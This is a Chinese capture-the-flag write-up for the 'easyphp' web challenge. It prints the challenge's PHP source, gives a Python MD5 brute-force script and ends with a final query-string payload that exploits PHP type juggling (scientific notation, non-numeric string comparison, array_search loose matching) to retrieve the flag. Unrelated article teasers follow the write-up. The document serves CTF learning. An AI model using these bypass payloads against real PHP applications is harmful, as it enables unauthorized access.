85.[1] 攻防世界 WEB easyphp

news2025/3/7 8:05:01

进入靶场

属于代码审计

<?php
// 高亮显示当前 PHP 文件的源代码,常用于调试或展示代码
highlight_file(__FILE__);

// 初始化两个标志变量,用于后续条件判断
$key1 = 0;
$key2 = 0;

// 从 GET 请求中获取参数 'a' 和 'b'
$a = $_GET['a'];
$b = $_GET['b'];

// 检查参数 'a' 是否存在,并且将其转换为整数后大于 6000000,同时其字符串长度小于等于 3
if (isset($a) && intval($a) > 6000000 && strlen($a) <= 3) {
    // 检查参数 'b' 是否存在,并且其 MD5 哈希值的最后 6 位等于 '8b184b'
    if (isset($b) && '8b184b' === substr(md5($b), -6, 6)) {
        // 如果上述条件都满足,将 $key1 标志设置为 1,表示通过了这部分验证
        $key1 = 1;
    } else {
        // 如果参数 'b' 不满足条件,输出提示信息并终止脚本执行
        die("Emmm...再想想");
    }
} else {
    // 如果参数 'a' 不满足条件,输出提示信息并终止脚本执行
    die("Emmm...");
}

// 从 GET 请求中获取参数 'c',并尝试将其作为 JSON 字符串解码为数组
$c = (array)json_decode(@$_GET['c']);

// 检查 $c 是否为数组,并且其键 'm' 对应的值不是数字类型,但在比较时大于 2022
if (is_array($c) && !is_numeric(@$c["m"]) && $c["m"] > 2022) {
    // 检查 $c 数组中键 'n' 对应的值是否为数组,并且该数组的元素数量为 2,同时第一个元素也是数组
    if (is_array(@$c["n"]) && count($c["n"]) == 2 && is_array($c["n"][0])) {
        // 在 $c["n"] 数组中搜索值为 'DGGJ' 的元素,并返回其键名
        $d = array_search("DGGJ", $c["n"]);
        // 如果未找到 'DGGJ',输出提示信息并终止脚本执行
        $d === false? die("no...") : NULL;
        // 遍历 $c["n"] 数组
        foreach ($c["n"] as $key => $val) {
            // 如果数组中的某个元素等于 'DGGJ',输出提示信息并终止脚本执行
            $val === "DGGJ"? die("no......") : NULL;
        }
        // 如果上述条件都满足,将 $key2 标志设置为 1,表示通过了这部分验证
        $key2 = 1;
    } else {
        // 如果 $c["n"] 不满足条件,输出提示信息并终止脚本执行
        die("no hack");
    }
} else {
    // 如果 $c 不满足条件,输出提示信息并终止脚本执行
    die("no");
}

// 检查 $key1 和 $key2 标志是否都为 1,如果是,则表示所有验证都通过
if ($key1 && $key2) {
    // 包含名为 'Hgfks.php' 的文件,通常该文件中定义了 $flag 变量
    include "Hgfks.php";
    // 输出验证成功的提示信息
    echo "You're right" . "\n";
    // 输出 $flag 变量的值,可能是一个关键信息,如密钥、标志等
    echo $flag;
}

?>

具体条件包括:

  1. GET 参数 a 转换为整数后大于 6000000 且字符串长度不超过 3。
  2. GET 参数 b 的 MD5 哈希值最后 6 位为 8b184b
  3. GET 参数 c 解码为数组后,其键 m 对应的值不是数字但大于 2022,键 n 对应的值是一个包含两个元素且第一个元素为数组的数组,并且 n 数组中存在但又不能直接等于 DGGJ

 在 PHP 中,对于科学计数法表示的字符串,intval 函数会正确转换其值,所以可以使用科学计数法来构造 a

a=1e9

可以通过编写一个简单的 Python 脚本来暴力破解满足条件的 b

import hashlib

# 初始化计数器 i,用于从 0 开始逐个尝试不同的数值
i = 0

# 开始一个无限循环,不断尝试不同的数值,直到找到满足条件的 b 值
while True:
    # 将当前的计数器值 i 转换为字符串,并使用 encode() 方法将其编码为字节串
    # 因为 hashlib.md5() 函数要求输入为字节串
    s = str(i).encode()

    # 计算 s 的 MD5 哈希值,并将结果以十六进制字符串的形式存储在 md5_hash 变量中
    md5_hash = hashlib.md5(s).hexdigest()

    # 检查计算得到的 MD5 哈希值的最后 6 位是否等于 '8b184b'
    if md5_hash[-6:] == '8b184b':
        # 如果满足条件,打印出找到的满足条件的 b 值
        print(f"找到满足条件的 b: {i}")
        # 跳出无限循环,结束程序
        break

    # 如果当前的 i 值不满足条件,将计数器 i 的值加 1,继续尝试下一个数值
    i += 1

运行

得到

b=53724

自行构造c

因为两个函数相互矛盾,需要绕过一个

c={"m":"2023a","n":[[1,2,3],0]}

最终payload

a=1e9&b=53724&​c={"m":"2023a","n":[[1,2,3],0]}

 

注意最后的传参方式

按理说/?即可以get方式传参

但我传的时候不那么顺利

大家也可以试试postman或者BP

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2289799.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

pytorch图神经网络处理图结构数据

人工智能例子汇总&#xff1a;AI常见的算法和例子-CSDN博客 图神经网络&#xff08;Graph Neural Networks&#xff0c;GNNs&#xff09;是一类能够处理图结构数据的深度学习模型。图结构数据由节点&#xff08;vertices&#xff09;和边&#xff08;edges&#xff09;组成&a…

海外问卷调查,最常用到的渠道查有什么特殊之处

市场调研&#xff0c;包含市场调查和市场研究两个步骤&#xff0c;是企业和机构根据经营方向而做出的决策问题&#xff0c;最终通过海外问卷调查中的渠道查&#xff0c;来系统地设计、收集、记录、整理、分析、研究市场反馈的工作流程。 市场调研的工作流程包括&#xff1a;确…

【Uniapp-Vue3】解决uni-popup弹窗在安全区显示透明问题

我们在使用uni-popup时&#xff0c;如果想要给弹出内容添加一个背景颜色&#xff0c;我们会发现在安全区域是不显示该背景颜色的。 首先根据如下的目录结构找到uni-popup.vue文件 在该文件中找到bottom配置&#xff0c;将红箭头所指代码注释掉 下面的安全区域就没有了&#xff…

项目练习:重写若依后端报错cannot be cast to com.xxx.model.LoginUser

文章目录 一、情景说明二、解决办法 一、情景说明 在重写若依后端服务的过程中 使用了Redis存放LoginUser对象数据 那么&#xff0c;有存就有取 在取值的时候&#xff0c;报错 二、解决办法 方法1、在TokenService中修改如下 getLoginUser 方法中&#xff1a;LoginUser u…

核心集:DeepCore: A Comprehensive Library for CoresetSelection in Deep Learning

目录 一、TL&#xff1b;DR 二、为什么研究核心集&#xff1f; 三、问题定义和如何做 3.1 问题定义 3.2 业界方法 3.2.1 基于几何的方法 3.2.2 基于不确定性的方法 3.2.3 基于误差/损失的方法 3.2.5 GraNd 和 EL2N 分数 3.2.6 重要性采样 3.2.7 基于决策边界的办法 …

Hot100之矩阵

73矩阵置零 题目 思路解析 收集0位置所在的行和列 然后该行全部初始化为0 该列全部初始化为0 代码 class Solution {public void setZeroes(int[][] matrix) {int m matrix.length;int n matrix[0].length;List<Integer> list1 new ArrayList<>();List<…

可视化相机pose colmap形式的相机内参外参

目录 内参外参转换 可视化相机pose colmap形式的相机内参外参 内参外参转换 def visualize_cameras(cameras, images):fig plt.figure()ax fig.add_subplot(111, projection3d)for image_id, image_data in images.items():qvec image_data[qvec]tvec image_data[tvec]#…

数据库内存与Buffer Pool

数据库内存与Buffer Pool 文章目录 数据库内存与Buffer Pool一&#xff1a;MySQL内存结构1&#xff1a;MySQL工作组件2&#xff1a;工作线程的本地内存3&#xff1a;共享内存区域4&#xff1a;存储引擎缓冲区 二&#xff1a;InnoDB的核心&#xff1a;Buffer Pool1&#xff1a;数…

程序员学英文之At the Airport Customs

Dialogue-1 Making Airline Reservation预定机票 My cousin works for Xiamen Airlines. 我表哥在厦航上班。I’d like to book an air ticket. 我想预定一张机票。Don’t judge a book by its cover. 不要以貌取人。I’d like to book / re-serve a table for 10. 我想预定一…

Redis代金卷(优惠卷)秒杀案例-单应用版

优惠卷表:优惠卷基本信息,优惠金额,使用规则 包含普通优惠卷和特价优惠卷(秒杀卷) 优惠卷的库存表:优惠卷的库存,开始抢购时间,结束抢购时间.只有特价优惠卷(秒杀卷)才需要填写这些信息 优惠卷订单表 卷的表里已经有一条普通优惠卷记录 下面首先新增一条秒杀优惠卷记录 { &quo…

51单片机 01 LED

一、点亮一个LED 在STC-ISP中单片机型号选择 STC89C52RC/LE52RC&#xff1b;如果没有找到hex文件&#xff08;在objects文件夹下&#xff09;&#xff0c;在keil中options for target-output- 勾选 create hex file。 如果要修改编程 &#xff1a;重新编译-下载/编程-单片机重…

MusicFree-开源的第三方音乐在线播放和下载工具, 支持歌单导入[对标落雪音乐]

MusicFree 链接&#xff1a;https://pan.xunlei.com/s/VOI0RrVLTTWE9kkpt0U7ofGBA1?pwd4ei6#

消息队列篇--原理篇--常见消息队列总结(RabbitMQ,Kafka,ActiveMQ,RocketMQ,Pulsar)

1、RabbitMQ 特点&#xff1a; AMQP协议&#xff1a;RabbitMQ是基于AMQP&#xff08;高级消息队列协议&#xff09;构建的&#xff0c;支持多种消息传递模式&#xff0c;如发布/订阅、路由、RPC等。多语言支持&#xff1a;支持多种编程语言的客户端库&#xff0c;包括Java、P…

nacos 配置管理、 配置热更新、 动态路由

文章目录 配置管理引入jar包添加 bootstrap.yaml 文件配置在application.yaml 中添加自定义信息nacos 配置信息 配置热更新采用第一种配置根据服务名确定配置文件根据后缀确定配置文件 动态路由DynamicRouteLoaderNacosConfigManagerRouteDefinitionWriter 路由配置 配置管理 …

(笔记+作业)书生大模型实战营春节卷王班---L0G2000 Python 基础知识

学员闯关手册&#xff1a;https://aicarrier.feishu.cn/wiki/QtJnweAW1iFl8LkoMKGcsUS9nld 课程视频&#xff1a;https://www.bilibili.com/video/BV13U1VYmEUr/ 课程文档&#xff1a;https://github.com/InternLM/Tutorial/tree/camp4/docs/L0/Python 关卡作业&#xff1a;htt…

SpringBoot中Excel表的导入、导出功能的实现

文章目录 一、easyExcel简介二、Excel表的导出2.1 添加 Maven 依赖2.2 创建导出数据的实体类4. 编写导出接口5. 前端代码6. 实现效果 三、excel表的导出1. Excel表导入的整体流程1.1 配置文件存储路径 2. 前端实现2.1 文件上传组件 2.2 文件上传逻辑3. 后端实现3.1 文件上传接口…

动态规划DP 背包问题 完全背包问题(题目分析+C++完整代码)

概览检索 动态规划DP 概览&#xff08;点击链接跳转&#xff09; 动态规划DP 背包问题 概览&#xff08;点击链接跳转&#xff09; 完全背包问题 原题链接 AcWiing 3. 完全背包问题 题目描述 有 N种物品和一个容量是 V的背包&#xff0c;每种物品都有无限件可用。 第 i种物…

【cocos creator】【模拟经营】餐厅经营demo

下载&#xff1a;【cocos creator】模拟经营餐厅经营

【深度学习】softmax回归的从零开始实现

softmax回归的从零开始实现 (就像我们从零开始实现线性回归一样&#xff0c;)我们认为softmax回归也是重要的基础&#xff0c;因此(应该知道实现softmax回归的细节)。 本节我们将使用Fashion-MNIST数据集&#xff0c;并设置数据迭代器的批量大小为256。 import torch from IP…

【Redis】set 和 zset 类型的介绍和常用命令

1. set 1.1 介绍 set 类型和 list 不同的是&#xff0c;存储的元素是无序的&#xff0c;并且元素不允许重复&#xff0c;Redis 除了支持集合内的增删查改操作&#xff0c;还支持多个集合取交集&#xff0c;并集&#xff0c;差集 1.2 常用命令 命令 介绍 时间复杂度 sadd …